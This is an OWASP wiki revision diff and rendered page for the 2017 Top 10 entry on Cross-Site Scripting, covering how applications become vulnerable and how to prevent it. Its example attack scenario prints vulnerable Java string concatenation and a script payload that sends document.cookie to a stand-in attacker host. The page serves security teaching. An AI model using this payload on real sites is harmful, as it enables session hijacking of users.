Difference between revisions of "Top 10-2017 A7-Cross-Site Scripting (XSS)"

From OWASP
Jump to: navigation, search
m (Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.)
(We are reverting these edits, so it matches the Release Candidate. However, we have captured these suggested changes and will consider them as part of the next update to the 2017 Top 10 Release Candidate.)
Line 38: Line 38:
  
 
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
 
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
An application has a Cross-Site Scripting vulnerability if it fails to encode output of user data according to its context in HTML, resulting in crossing the boundary with the scripts sent to the browser. In addition, a vulnerable application could fail to white-list potentially malicious data sources such as <code>window.name</code>, <code>document.referer</code> before passing them to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]] such as <code>window.eval()</code>, <code>window.setTimeout()</code>, <code>document.write()</code>, <code>new Function()</code>.
+
You are vulnerable to <u>[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]</u> if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have <u>[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]</u>. Ideally, you would avoid sending attacker-controllable data to <u>[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]</u>, but escaping (and to a lesser extent) input validation can be used to make this safe.
  
Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight.  The scripts sent to the browser may rely on additional script libraries. Single-page applications may process input on the client side and generate requests to the server independently from user actions. This diversity makes discovering all possible HTTP requests difficult.  Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser.  Static and "interactive" analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests.
+
Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
 
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
 
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
 
Preventing XSS requires separation of untrusted data from active browser content.
 
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve <u>[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]</u> vulnerabilities. The <u>[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]</u> has details on the required data escaping techniques.
+
# To avoid <u>[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]</u>, the preferred option is to properly escape untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the <u>[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]</u> for details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against <u>[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]</u>. Details specific to client-side input processing reside in <u>[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]</u>.
+
# To avoid <u>[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]</u>, the preferred option is to avoid passing untrusted data to JavaScript and other browser APIs that can generate active content. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the <u>[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]</u>.
# Enabling a <u>[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]</u> and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.
+
# For rich content, consider auto-sanitization libraries like OWASP’s <u>[[AntiSamy]]</u> or the <u>[[OWASP Java HTML Sanitizer Project|Java HTML Sanitizer Project]]</u>.
 +
# Consider <u>[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]</u> to defend against XSS across your entire site.
 +
 
  
 
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
 
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application generating response in <code><nowiki>https://target.test/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:
+
The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
  
{{Top_10_2010:ExampleBeginTemplate|year=2017}}<b>
+
{{Top_10_2010:ExampleBeginTemplate|year=2017}}<b><span style="color:red;">
(String) page += "<input name='creditcard' type='TEXT' value='" + <span style="color:red;">request.getParameter("CC")</span> + "'>";
+
(String) page += "<input name='creditcard' type='TEXT'<br>value='" + request.getParameter("CC") + "'>";
</b>{{Top_10_2010:ExampleEndTemplate}}
+
</span></b>{{Top_10_2010:ExampleEndTemplate}}
  
The attacker manipulates the `CC' parameter to the following value
+
The attacker modifies the ‘CC’ parameter in his browser to:
  
 
{{Top_10_2010:ExampleBeginTemplate|year=2017}}<b><span style="color:red;">
 
{{Top_10_2010:ExampleBeginTemplate|year=2017}}<b><span style="color:red;">
&#x27;&gt;&lt;script&gt;document.location=&#x27;<nowiki>http://attacker.test/log?</nowiki>cookies=&#x27;+encodeURIComponent(document.cookie)&lt;/script&gt;&lt;foobar p=&#x27;
+
'><script>document.location=<br/>'<nowiki>h</nowiki>ttp://www.attacker.com/cgi-bin/cookie.cgi?<br/>foo='+document.cookie</script>'.
 
</span></b>{{Top_10_2010:ExampleEndTemplate}}
 
</span></b>{{Top_10_2010:ExampleEndTemplate}}
 
in the query string and sends the resulting link <code><nowiki>https://target.test/dashboard?CC=...</nowiki></code> with the malicious value to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.
 
 
{{Top_10_2010:ExampleBeginTemplate|year=2017}}
 
<b>&lt;input name='creditcard' type='TEXT' value='<span style="color:red;">'&gt;&lt;script&gt;document.location=&#x27;<nowiki>http://attacker.test/log?</nowiki>cookies=&#x27;+encodeURIComponent(document.cookie)&lt;/script>&lt;foobar p=&#x27;</span>&#x27;&gt;</b>
 
{{Top_10_2010:ExampleEndTemplate}}
 
  
 
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.  
 
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.  

Revision as of 10:09, 9 June 2017

← A2-Broken Authentication
2017 Table of Contents

PDF version

A4-XML External Entities (XXE) →
Threat Agents / Attack Vectors Security Weakness Impacts
App Specific Exploitability
AVERAGE
Prevalence
VERY WIDESPREAD
Detectability
AVERAGE
Impact
MODERATE
Business ?

Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.

Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.

XSS flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) Stored and (2) Reflected, and each of these can occur on the a) Server or b) on the Client. Detection of most Server XSS flaws is fairly easy via testing or code analysis. Client XSS is very difficult to identify.

Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.

Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

Am I Vulnerable To 'Sensitive Data Exposure'?

You are vulnerable to Server XSS if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have Client XSS. Ideally, you would avoid sending attacker-controllable data to unsafe JavaScript APIs, but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.

How Do I Prevent 'Sensitive Data Exposure'?

Preventing XSS requires separation of untrusted data from active browser content.

  1. To avoid Server XSS, the preferred option is to properly escape untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the OWASP XSS Prevention Cheat Sheet for details on the required data escaping techniques.
  2. To avoid Client XSS, the preferred option is to avoid passing untrusted data to JavaScript and other browser APIs that can generate active content. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP DOM based XSS Prevention Cheat Sheet.
  3. For rich content, consider auto-sanitization libraries like OWASP’s AntiSamy or the Java HTML Sanitizer Project.
  4. Consider Content Security Policy (CSP) to defend against XSS across your entire site.


Example Attack Scenarios

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in his browser to:

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See 2017-A8 for info on CSRF.

References

OWASP

External

← A2-Broken Authentication
2017 Table of Contents

PDF version

A4-XML External Entities (XXE) →

© 2002-2017 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 3.0 license. Some rights reserved. CC-by-sa-3 0-88x31.png